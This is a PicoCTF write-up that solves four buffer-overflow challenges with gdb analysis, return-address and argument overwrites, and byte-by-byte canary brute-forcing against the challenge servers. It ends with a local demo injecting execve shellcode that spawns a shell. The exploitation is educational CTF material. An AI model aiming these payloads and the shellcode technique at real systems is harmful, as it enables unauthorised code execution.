[PicoCTF] Buffer Overflow - 0x101

jamarirjamarir
17 min read

Just another SIGSEGV / strcpy() / gets() / args alteration / brute-forced canaries write-up.

Buffer Overflow 0

Challenge link.

Let's start off simple, can you overflow the correct buffer?

The program is available here. You can view source here.

Connect using: nc saturn.picoctf.net 60079

Local SIGSEGV handler by strcpy()

The program simply asks for an input:

jamarir@kali:~$ ./vuln
Please create 'flag.txt' in this directory with your own debugging flag.
jamarir@kali:~$ echo flag > flag.txt
jamarir@kali:~$ ./vuln
Input: test
The program will exit now

Looking at the source code, the program first reads the flag.txt content, and puts it into flag:

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];
[...]
int main(int argc, char **argv){

  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(flag,FLAGSIZE_MAX,f);
[...]
}

Then, it sets an exception handler using the signal() function:

  signal(SIGSEGV, sigsegv_handler); // Set up signal handler

The signal is set to SIGSEGV, while the handler is set to the defined function sigsegv_handler():

void sigsegv_handler(int sig) {
  printf("%s\n", flag);
  fflush(stdout);
  exit(1);
}

Therefore, if a segmentation fault exception is triggered, the flag’s content is disclosed. A segmentation fault happens when the process tries to access a forbidden memory region, such as reading a pointer outside the process’s virtual memory, or writing a read-only region.

Our purpose would be to execute that handler, as it discloses the flag.

When vuln is launched, its mapped virtual memory is given by the process’s maps file:

jamarir@kali:~$ ./vuln &
[1] 28977
Input: [1]  + 28977 suspended (tty input)  ./vuln

jamarir@kali:~$ cat /proc/28977/maps
5663a000-5663b000 r--p 00000000 08:01 4351022                            /home/jamarir/[...]/vuln
5663b000-5663c000 r-xp 00001000 08:01 4351022                            /home/jamarir/[...]/vuln
5663c000-5663d000 r--p 00002000 08:01 4351022                            /home/jamarir/[...]/vuln
5663d000-5663e000 r--p 00002000 08:01 4351022                            /home/jamarir/[...]/vuln
5663e000-5663f000 rw-p 00003000 08:01 4351022                            /home/jamarir/[...]/vuln
5850a000-5852c000 rw-p 00000000 00:00 0                                  [heap]
f7ce6000-f7d09000 r--p 00000000 08:01 2396758                            /usr/lib32/libc.so.6
f7d09000-f7e95000 r-xp 00023000 08:01 2396758                            /usr/lib32/libc.so.6
f7e95000-f7f1a000 r--p 001af000 08:01 2396758                            /usr/lib32/libc.so.6
f7f1a000-f7f1c000 r--p 00234000 08:01 2396758                            /usr/lib32/libc.so.6
f7f1c000-f7f1d000 rw-p 00236000 08:01 2396758                            /usr/lib32/libc.so.6
f7f1d000-f7f27000 rw-p 00000000 00:00 0
f7f3f000-f7f41000 rw-p 00000000 00:00 0
f7f41000-f7f45000 r--p 00000000 00:00 0                                  [vvar]
f7f45000-f7f47000 r-xp 00000000 00:00 0                                  [vdso]
f7f47000-f7f48000 r--p 00000000 08:01 2396756                            /usr/lib32/ld-linux.so.2
f7f48000-f7f6c000 r-xp 00001000 08:01 2396756                            /usr/lib32/ld-linux.so.2
f7f6c000-f7f7a000 r--p 00025000 08:01 2396756                            /usr/lib32/ld-linux.so.2
f7f7a000-f7f7c000 r--p 00033000 08:01 2396756                            /usr/lib32/ld-linux.so.2
f7f7c000-f7f7d000 rw-p 00035000 08:01 2396756                            /usr/lib32/ld-linux.so.2
fff5f000-fff80000 rw-p 00000000 00:00 0                                  [stack]

For instance, we see that the stack is loaded between the fff5f000 and ffff8000 addresses, with a read-write access. Similarly, the heap is loaded into 5850a000-5852c000 with the same rights. For the .text section, we may run it within gdb and disassemble the running main for instance:

jamarir@kali:~$ gdb -q vuln
(gdb) break *main
(gdb) run
[...]
Breakpoint 1, 0x56556382 in main ()
(gdb)

The execution flow broke at address 0x56556382, i.e. the beginning of the main’s function. The PID being 50158:

jamarir@kali:~$ ps -faux |grep -A1 'gdb'
jamarir    49198  0.0  0.2 285368 36960 pts/1    Sl+  21:00   0:00  |   \_ gdb -q vuln
jamarir    50158  0.0  0.0   2712  1012 pts/1    t    21:01   0:00  |       \_ /home/jamarir/[...]/vuln

We may realize that the vuln’s executable is storing the .text region in the process:

jamarir@kali:~$ cat /proc/50158/maps
56555000-56556000 r--p 00000000 08:01 4351022                            /home/jamarir/[...]/vuln
56556000-56557000 r-xp 00001000 08:01 4351022                            /home/jamarir/[...]/vuln
56557000-56558000 r--p 00002000 08:01 4351022                            /home/jamarir/[...]/vuln
56558000-56559000 r--p 00002000 08:01 4351022                            /home/jamarir/[...]/vuln
56559000-5655a000 rw-p 00003000 08:01 4351022                            /home/jamarir/[...]/vuln
[...]

In particular, our instruction is in the second line above, within the 56556000-56557000 range, which is the only executable slot (fortunately…).

Flag disclosure

The vulnerable function is strcpy(), used to fill the buf2[16] buffer from buf1[100], a buffer we control:

void vuln(char *input){
  char buf2[16];
  strcpy(buf2, input);
}

int main(int argc, char **argv){
  [...]
  char buf1[100];
  gets(buf1);
  vuln(buf1);
  [...]
}

Thus, we can overflow the buf2's size until it overwrites the instruction pointer (eip in our case, as this is a 32 bit executable).

jamarir@kali:~$ file vuln
vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=b53f59f147e1b0b087a736016a44d1db6dee530c, for GNU/Linux 3.2.0, not stripped

When eip is overwritten to an invalid address (outside the above .text virtual address space), a segmentation fault happens. As a consequence, if the instruction pointer is set to "AAAA", the process will try to execute an instruction stored at 0×41414141. However, in our above example, the only executable region is between the addresses 0x5663b000 and 0x5663c000. Such eip alteration would then trigger a segfault:

And reveal the flag:

jamarir@kali:~$ python2 -c "print'A'*999" |./vuln
Input: flag

That same segfault exposes the server-side flag:

jamarir@kali:~$ python2 -c "print'A'*999" |nc saturn.picoctf.net 60079
Input: picoCTF{ov[...]2d}

GDB Analysis

Let’s first put a breakpoint into the vulnerable strcpy() call instruction within gdb:

(gdb) disass main
   [...]
   0x00001471 <+239>:   push   eax
   0x00001472 <+240>:   call   0x1353 <vuln>
   0x00001477 <+245>:   add    esp,0x10
[...]

(gdb) disass vuln
Dump of assembler code for function vuln:
   0x00001353 <+0>:     endbr32
   0x00001357 <+4>:     push   ebp
   0x00001358 <+5>:     mov    ebp,esp
   0x0000135a <+7>:     push   ebx
   0x0000135b <+8>:     sub    esp,0x14
   0x0000135e <+11>:    call   0x149b <__x86.get_pc_thunk.ax>
   0x00001363 <+16>:    add    eax,0x2c49
   0x00001368 <+21>:    sub    esp,0x8
   0x0000136b <+24>:    push   DWORD PTR [ebp+0x8]
   0x0000136e <+27>:    lea    edx,[ebp-0x18]
   0x00001371 <+30>:    push   edx
   0x00001372 <+31>:    mov    ebx,eax
   0x00001374 <+33>:    call   0x1170 <strcpy@plt>
   0x00001379 <+38>:    add    esp,0x10
   0x0000137c <+41>:    nop
   0x0000137d <+42>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x00001380 <+45>:    leave
   0x00001381 <+46>:    ret
End of assembler dump.

(gdb) break *vuln+33
Breakpoint 1 at 0x1374

N.B.: The process’s virtual address space changed between execution. Therefore, the address range of the executable isn't persistent.

Running the program with at least 32 characters overwrites eip with AAAA when the ret instruction is called:

(gdb) run <<<$(python2 -c "print'A'*32")
(gdb) break *vuln+33
(gdb) nexti
[...]
(gdb) nexti

0x41414141 in ?? ()

An easier approach to know the size required to overwrite eip is to use the msf-pattern_create ruby script. This script generates a non-repeating-4-bytes payload that helps us locate the eip’s offset automatically:

jamarir@kali:~$ msf-pattern_create -l 40
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A

(gdb) run <<<$(echo -n Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A)
[...]
Program received signal SIGSEGV, Segmentation fault.
0x62413961 in ?? ()

jamarir@kali:~$ python -c 'print("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A".index(bytes.fromhex("61394162").decode()))'
28

Here, eip’s is at offset 28. Thus, the next 4 bytes overwrite it.

Indeed, our buf2's slot, in the stack, is partly prepared by the vuln’s prologue, via the sub esp, 0×14 instruction (i.e. 20 bytes, or 5 stack slots).

But looking before the strcpy() call, we see that our buffer’s address is actually at ebp-0x18. This address is loaded into edx (lea edx,[ebp-0x18], equivalent to edx = &ebx-24 in C/C++), then pushed onto the stack as the first strcpy(buf2, input)’s argument.

Therefore, our buffer is actally starting at ebp-0x18. In other words, 24 bytes of memory are freed for the buffer:

Note that we don’t care of the other stack alteration in the vuln's instructions (e.g. sub esp,0x8 at address 0x00001368). All that matters is where our overwritable buffer is placed, compared to eip.

Therefore, writing 28 As will set ebp to AAAA, while filling 32 As will set eip to AAAA.

Buffer Overflow 1

Challenge link.

Control the return address Now we're cooking! You can overflow the buffer and return to the flag function in the program. You can view source here.

And connect with it using nc saturn.picoctf.net 49950

gets() detour

This time, an input is asked, then the next instruction’s address to be executed is disclosed:

jamarir@kali:~$ chmod +x vuln
jamarir@kali:~$ echo flagus > flag.txt
jamarir@kali:~$ ./vuln
Please enter your string:
aString
Okay, time to return... Fingers Crossed... Jumping to 0x804932f

The program reads our input using the gets() function, and then prints the return address after the vuln()'s epilogue:

[...]
#define FLAGSIZE 64
[...]
void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){
  puts("Please enter your string: ");
  vuln();
  return 0;
}

However, as the gets()'s manual shows, this function should NEVER be used, as it implements no buffer size controls:

Our purpose is to call the win() function, which discloses the flag:

[...]
#define FLAGSIZE 64
[...]
void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}
[...]

Flag disclosure

Empirically, 48 characters are enough to overwrite eip:

jamarir@kali:~$ python2 -c "print'A'*48" |./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
[1]    252563 done                python2 -c "print'A'*48" |
       252564 segmentation fault  ./vuln

Again, that’s because our buffer starts 0x28=40 bytes before ebp (see the lea instruction):

(gdb) disass vuln
Dump of assembler code for function vuln:
   0x08049281 <+0>:     endbr32
   0x08049285 <+4>:     push   ebp
   0x08049286 <+5>:     mov    ebp,esp
   0x08049288 <+7>:     push   ebx
   0x08049289 <+8>:     sub    esp,0x24
   0x0804928c <+11>:    call   0x8049130 <__x86.get_pc_thunk.bx>
   0x08049291 <+16>:    add    ebx,0x2d6f
   0x08049297 <+22>:    sub    esp,0xc
   0x0804929a <+25>:    lea    eax,[ebp-0x28]
   0x0804929d <+28>:    push   eax
   0x0804929e <+29>:    call   0x8049050 <gets@plt>

Then, overwriting ebp requires 44 bytes, while overwriting eip requires 48. Because we wanna execute win(), we may overwrite eip to the win()’s address:

jamarir@kali:~$ nm vuln |grep win$
080491f6 T win

jamarir@kali:~$ objdump -M intel -j .text -d vuln |grep '<win>'
080491f6 <win>:

Izi:

jamarir@kali:~$ python2 -c 'print"A"*44+"\xf6\x91\x04\x08"' |nc saturn.picoctf.net 49950
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{ad[...]1e}

Buffer Overflow 2

Challenge link.

Control the return address and arguments This time you'll need to control the arguments to the function you return to! Can you get the flag from this program? You can view source here.

And connect with it using nc saturn.picoctf.net 50278

AAA (Arbitrary Argument Alteration)

Again, a string’s asked:

jamarir@kali:~$ chmod +x vuln
jamarir@kali:~$ echo flagator > flag.txt
jamarir@kali:~$ ./vuln
Please enter your string:
I have no idea anymore
I have no idea anymore

Looking at the source code, it asks our string without controlling its size through gets():

[...]
#define BUFSIZE 100
[...]
void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){
  [...]
  puts("Please enter your string: ");
  vuln();
  return 0;
}

Similarly, the purpose is to call win() disclosing the flag:

[...]
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}
[...]

So we want to:

  • Alter the vuln()’s instruction pointer to point to win().

  • Alter the win()'s arguments to be equal to 0xCAFEF00D and 0xF00DF00D respectively, so that the program doesn’t return before printing the flag.

Flag disclosure

First things first, our buffer is placed 0×6c=108 bytes above ebp:

(gdb) disass vuln
Dump of assembler code for function vuln:
   0x08049338 <+0>:     endbr32
   0x0804933c <+4>:     push   ebp
   0x0804933d <+5>:     mov    ebp,esp
   0x0804933f <+7>:     push   ebx
   0x08049340 <+8>:     sub    esp,0x74
   0x08049343 <+11>:    call   0x80491d0 <__x86.get_pc_thunk.bx>
   0x08049348 <+16>:    add    ebx,0x2cb8
   0x0804934e <+22>:    sub    esp,0xc
   0x08049351 <+25>:    lea    eax,[ebp-0x6c]
   0x08049354 <+28>:    push   eax
   0x08049355 <+29>:    call   0x80490f0 <gets@plt>

Subsequently, we may overwrite ebp using 112 characters, and eip to win() using the next 4 bytes:

jamarir@kali:~$ objdump -M intel -j .text -d vuln |grep '<win>'
08049296 <win>:

jamarir@kali:~$ python2 -c "print'A'*112+'\x96\x92\x04\x08'" |./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1]    284710 done                python2 -c "print'A'*112+'\x96\x92\x04\x08'" |
       284711 segmentation fault  ./vuln

Even if a segmentation fault happens (where the win()’s epilogue is broken), we may confirm win() is executed using a debugger with a breakpoint:

(gdb) break *win
(gdb) run <<<$(python2 -c "print'A'*112+'\x96\x92\x04\x08'" )
[...]
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x08049296 in win ()

When win() is looking for arg1 and arg2, it uses ebp as the base pointer. Because the arguments are pushed from right to left before the call (i.e. arg2 first, arg1 second), the first argument is at ebp+8, while the second one is at ebp+12:

jamarir@kali:~$ objdump -M intel -j .text -d vuln |grep --color=no -oPz '(?s)\w+ <win>:(.*?)(?=\w+ .\w*.:)'
08049296 <win>:
 [...]
 8049309:       83 c4 10                add    esp,0x10
 804930c:       81 7d 08 0d f0 fe ca    cmp    DWORD PTR [ebp+0x8],0xcafef00d
 8049313:       75 1a                   jne    804932f <win+0x99>
 8049315:       81 7d 0c 0d f0 0d f0    cmp    DWORD PTR [ebp+0xc],0xf00df00d
 804931c:       75 14                   jne    8049332 <win+0x9c>
 [...]

Adding the fact that eip is placed below ebp, if we want to alter the args accordingly, we’ll first overwrite eip to a dummy value, and then our args inputs:

jamarir@kali:~$ ./vuln <<<$(python2 -c 'print"A"*112+"\x96\x92\x04\x08"+"B"*4+"\x0D\xF0\xFE\xCA"+"\x0D\xF0\x0D\xF0"')
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
flagator
[1]    254449 segmentation fault  ./vuln <<<

As a side note, notice that because we detoured the execution flow from vuln() to win():

  • vuln() didn't execute its epilogue.

  • win() didn’t execute its prologue.

Therefore, win() will use the vuln()'s base pointer instead of its own.

Izi:

jamarir@kali:~$ nc saturn.picoctf.net 50278 <<<$(python2 -c 'print"A"*112+"\x96\x92\x04\x08"+"A"*4+"\x0D\xF0\xFE\xCA"+"\x0D\xF0\x0D\xF0"')
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
picoCTF{ar[...]43}

Buffer Overflow 3

Challenge link.

Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here.

And connect with it using: nc saturn.picoctf.net 63645

Canarie’ed

The last CTF implements a custom canary protection. Such protection inject random bytes between the base pointer (ebp) and the RET address (eip):

Therefore, if we try to overwrite ebp or eip, overflowing buf2, we’d alter the canaries bytes (aka. the stack cookie), and the program would instantly stop.

Canary File Retrieval

Looking at the source code, we see that a function named read_canary() is executed first:

int main(int argc, char **argv){
  [...]
  read_canary();
  vuln();
  return 0;
}

This function simply stores the first 4 bytes of canary.txt into global_canary using fread():

[...]
#define CANARY_SIZE 4
[...]
char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    fflush(stdout);
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

Then, let’s create a local canary.txt for testing:

jamarir@kali:~$ echo 1234 > canary.txt

Arbitrary read() counter

The vuln() function:

  • Copies 4 bytes from canary.txt into canary.

  • Reads how many bytes the user wanna input in count.

  • Stores the user’s input into buf using read().

[...]
#define BUFSIZE 64
#define CANARY_SIZE 4
[...]
void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      fflush(stdout);
      exit(0);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

The vulnerable code is:

   read(0,buf,count);

Where the amount of bytes read is set by the user in count. Therefore, the user might overflow buf and fill it with more than the 64 allocated characters.

The issue, however, is that buf is declared after canary:

   char canary[CANARY_SIZE];
   char buf[BUFSIZE];

Therefore, in the stack, buf is above canary. If we want to overwrite eip that is far below, we’d be altering canary along the way unfortunately.

Brute-forced canaries

Normally, the program runs as follows:

jamarir@kali:~$ ./vuln
How Many Bytes will You Write Into the Buffer?
> 99
Input> AAAA
Ok... Now Where's the Flag?

When the canary (being set to 1234 locally) is altered, the program detects the corruption and stops:

jamarir@kali:~$ cat canary.txt
1234

jamarir@kali:~$ echo "99\n$(python2 -c 'print"A"*64+"1234"')" |./vuln
How Many Bytes will You Write Into the Buffer?
> Input> Ok... Now Where's the Flag?

jamarir@kali:~$ echo "99\n$(python2 -c 'print"A"*64+"1235"')" |./vuln
How Many Bytes will You Write Into the Buffer?
> Input> ***** Stack Smashing Detected ***** : Canary Value Corrupt!

So our first goal is to find a way to brute-force the canary. A solution is to brute-force each byte of the canary (as we know it’s based on a static file content between executions).

For instance, we may brute-force the first canary byte with the following loop:

jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64')${REPLY}" |./vuln |grep -vE 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: '1'

char.txt contains all printable chars, except spaces and simple quote '.

The next byte is disclosed by first adding the discovered canary byte in our input, and then brute-force:

jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"1"')${REPLY}" |./vuln |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: '2'

jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"12"')${REPLY}" |./vuln |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: '3'

jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"123"')${REPLY}" |./vuln |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: '4'

We can then disclose the server-side canary with that same methodology:

jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64')${REPLY}" |nc saturn.picoctf.net 52140 |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: 'B'

jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"B"')${REPLY}" |nc saturn.picoctf.net 52140 |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: 'i'

jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"Bi"')${REPLY}" |nc saturn.picoctf.net 52140 |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: 'R'

jamarir@kali:~$ while read; do
echo -n "99\n$(python2 -c 'print "A"*64+"BiR"')${REPLY}" |nc saturn.picoctf.net 52140 |grep -v 'How Many Bytes will You Write Into the Buffer|Stack Smashing Detected' && echo "Canary: '$REPLY'";
done <char.txt
> Input> Ok... Now Where's the Flag?
Canary: 'd'

The server-side canary is a BiRd.

Flag disclosure

When doing the read call:

   printf("Input> ");
   read(0,buf,count);

We see that buf is placed 0x50=80 bytes above ebp:

jamarir@kali:~$ objdump -M intel -j .text -d vuln |grep --color=no -oPz '(?s)\w+ <vuln>:(.*?)(?=\w+ .\w*.:)'
 [...]
 8049534:       8b 85 6c ff ff ff       mov    eax,DWORD PTR [ebp-0x94]
 804953a:       83 ec 04                sub    esp,0x4
 804953d:       50                      push   eax
 804953e:       8d 45 b0                lea    eax,[ebp-0x50]
 8049541:       50                      push   eax
 8049542:       6a 00                   push   0x0
 8049544:       e8 e7 fb ff ff          call   8049130 <read@plt>
 [...]

And because the canary is just below buf, we know the stack looks like:

Therefore, we can overwrite eip by first padding the 4 slots (16 bytes) after the canary. As always, we wanna execute win() to disclose the flag:

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    fflush(stdout);
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

At address 08049336:

jamarir@kali:~$ nm vuln |grep win$
08049336 T win

GG WP !

jamarir@kali:~$ echo -n "99\n$(python2 -c "print'A'*64+'BiRd'+'A'*16+'\x36\x93\x04\x08'")" |nc saturn.picoctf.net 63645
How Many Bytes will You Write Into the Buffer?
> Input> Ok... Now Where's the Flag?
picoCTF{St[...]9c}

Shellcode Execution

Just to show-case how our previous shellcode can be executed in memory with a buffer overflow, let’s consider the following vulnerable code using an uncontrolled strcpy():

#include <stdio.h>
#include <string.h>

void vuln(char *buf1) {
    char buf2[24];
    strcpy(buf2, buf1);
}

void main() {
    char buf1[100];
    printf("Input: ");
    scanf("%s", buf1);
    printf("%s\n", buf1);
    vuln(buf1);
}

Without ASLR:

jamarir@kali:~$ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

Compiled with an executable stack (-z execstack, see RWE on the stack below), and without canaries protection (-fno-stack-protector):

jamarir@kali:~$ gcc -m32 -fno-pic -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o main main.c
jamarir@kali:~$ readelf -l main
[...]
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
[...]
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
[...]

We can generate a core dump to get our buf1’s location in memory when the program crashes:

jamarir@kali:~$ ulimit -c 100000; sudo sysctl -w kernel.core_pattern=./core
jamarir@kali:~$ rm -f core.*; python2 -c "print'A'*24+'B'*4+'C'*4" |./main
Input: AAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
[1]    365563 done                              python2 -c "print'A'*24+'B'*4+'C'*4" |
       365564 segmentation fault (core dumped)  ./main

Opening this core dump into GDB, we see that the instruction pointer has been overwritten with 0×43434343 (i.e. "CCCC"):

jamarir@kali:~$ echo exit |gdb -q main core.* -ex 'x/40x $esp-0x60'
[...]
Core was generated by `./main'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x43434343 in ?? ()
0xffffcd30:     0xf7f9dd40      0x5655a1a0      0x00000028      0xf7f9c768
0xffffcd40:     0xf7f9c768      0x00000020      0xf7f9dd40      0xf7de32fb
0xffffcd50:     0xf7f9dd40      0x0000000a      0x00000020      0xffffcebc
0xffffcd60:     0xf7ffcb60      0x565561cf      0xffffcd70      0xffffcd94
0xffffcd70:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffcd80:     0x41414141      0x41414141      0x42424242      0x43434343
0xffffcd90:     0xffffcd00      0x41414141      0x41414141      0x41414141
0xffffcda0:     0x41414141      0x41414141      0x41414141      0x42424242
0xffffcdb0:     0x43434343      0xf7fc6000      0x00000000      0x00000000
0xffffcdc0:     0x00000000      0x00000000      0xffffffff      0xf7d78964

buf1 starts at 0xffffcd94, while buf2 starts at 0xffffcd70. Then, our buf1's AAAA... starts at 0xffffcd94, and the copied CCCC into buf2 (overwriting eip) is at 0xffffcd8c. Then, we may:

  • Store our shellcode in buf1 at 0xffffcd94.

  • Overflow buf2 starting at 0xffffcd70, and overwrite eip at 0xffffcd8c to our shellcode.

That way, the execution flow will jump to our shellcode after the vuln’s epilogue executes the ret instruction:

jamarir@kali:~$ (python2 -c "print'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\x99\xb0\x0e\x2c\x03\xcd\x80'+'B'*4+'\x94\xcd\xff\xff'"; cat) |./main
Input: 1Phn/shh//bi,̀BBBB
echo 'Hello World ! (yet again...)'
Hello World ! (yet again...)
0
Subscribe to my newsletter

Read articles from jamarir directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

jamarir
jamarir

Jamaledine AMARIR. Pentester, CTF Player, Game Modding enthusiast | CRTO